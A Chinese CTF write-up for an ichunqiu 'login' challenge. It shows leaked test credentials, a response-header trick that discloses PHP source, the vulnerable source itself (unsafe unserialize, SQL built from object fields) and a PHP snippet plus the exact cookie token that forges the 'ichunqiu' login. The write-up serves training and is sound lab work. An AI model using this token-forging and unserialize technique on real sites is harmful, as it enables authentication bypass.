login

注释以及响应头

在登录页面注释中发现如下,猜测为用户名密码,登录成功

<!--  test1 test1  -->

在响应头中发现show字段show: 0,于是设置请求头show: 1,得到源码:


<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>

分析源码

并没有考到classdb的反序列化,那里应该是反序列化和注入联合考察

  • 如果$login['user'] === 'ichunqiu';即可输出flag
  • $login来自$requset['token']
  • $requset来自array_merge($_GET, $_POST, $_SESSION, $_COOKIE)
  • 显然在我们的输入中没有发现token,那么token一定在session
  • 于是我们可以在cookie设置token字段,当使用array_merge()$requset便可覆盖session中的值

<?php
$login['user'] = 'ichunqiu';
echo base64_encode(gzcompress(serialize($login)));
?>

在cookie中添加:token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;即可